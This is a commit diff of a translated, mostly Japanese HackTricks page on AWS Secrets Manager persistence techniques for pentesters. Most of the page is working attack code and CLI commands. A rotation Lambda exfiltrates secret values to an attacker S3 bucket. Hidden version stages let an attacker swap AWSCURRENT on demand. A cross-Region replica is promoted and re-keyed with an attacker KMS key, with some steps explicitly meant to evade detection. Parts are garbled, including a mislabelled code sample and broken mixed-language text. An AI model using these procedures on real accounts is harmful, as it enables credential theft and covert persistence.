Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

This commit is contained in:
Translator
2025-10-14 02:20:38 +00:00
parent bf87df947c
commit cd3e39bd8a
224 changed files with 10717 additions and 7358 deletions

View File

@@ -0,0 +1,235 @@
# AWS - Secrets Manager Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Secrets Manager
詳細は以下を参照してください:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Via Resource Policies
Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
### Via Secrets Rotate Lambda
secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
This is how lambda code for such action could look like:
```python
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップcreateSecret/setSecret/testSecret/finishSecretでシークレットのバージョンAWSCURRENT/AWSPENDINGを攻撃者の受け取り先S3 や外部 HTTPへ exfiltrates します。
- 要件
- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`(攻撃者 Lambda 上で), `iam:CreateRole/PassRole/PutRolePolicy`(または AttachRolePolicy— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`(ローテーション維持のため)を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`(または外部送信許可)。
- ローテーション有効なターゲットの secret id (`SecretId`)、もしくはローテーションを有効化できる権限。
- 影響
- 攻撃者は正規のローテーションコードを改変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後のスケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
- 攻撃手順 (CLI)
1) 攻撃者の受け取り先と Lambda ロールを用意
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取りと S3 書き込み(必要に応じてログ/KMS の権限)を付与します。
2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させてサービスを健全に保つだけでも十分です。
3) ローテーションを差し替えてトリガー
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します。
5) (任意)検出を減らすために元のローテーション Lambda を復元します。
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ(例: `ATTACKER`)の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な利用時操作が可能になります。
- 要件
- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
- 対象のシークレット IDリージョン内
- 影響
- 隠された攻撃者制御のシークレットバージョンを維持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
- 攻撃手順 (CLI)
- 準備
- `export SECRET_ID=<target secret id or arn>`
<details>
<summary>CLI コマンド</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attackers value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
```
</details>
- 注意
- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
- 要件
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
- 昇格した secret の読み取りアクセスを受ける攻撃者主体 (user/role)。
- 影響
- 攻撃者が管理する KMS CMK と permissive resource policy の下にある standalone replica を通じて、secret 値への永続的なクロスリージョンアクセス経路が確立されます。元の Region の primary secret は変更されません。
- 攻撃 (CLI)
- Vars
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) attacker KMS key を使って secret を R2 に複製する
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) R2でレプリカをスタンドアロンに昇格させる
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) R2 の standalone secret に permissive resource policy を付与する
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) R2 の attacker principal からシークレットを読み取る
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```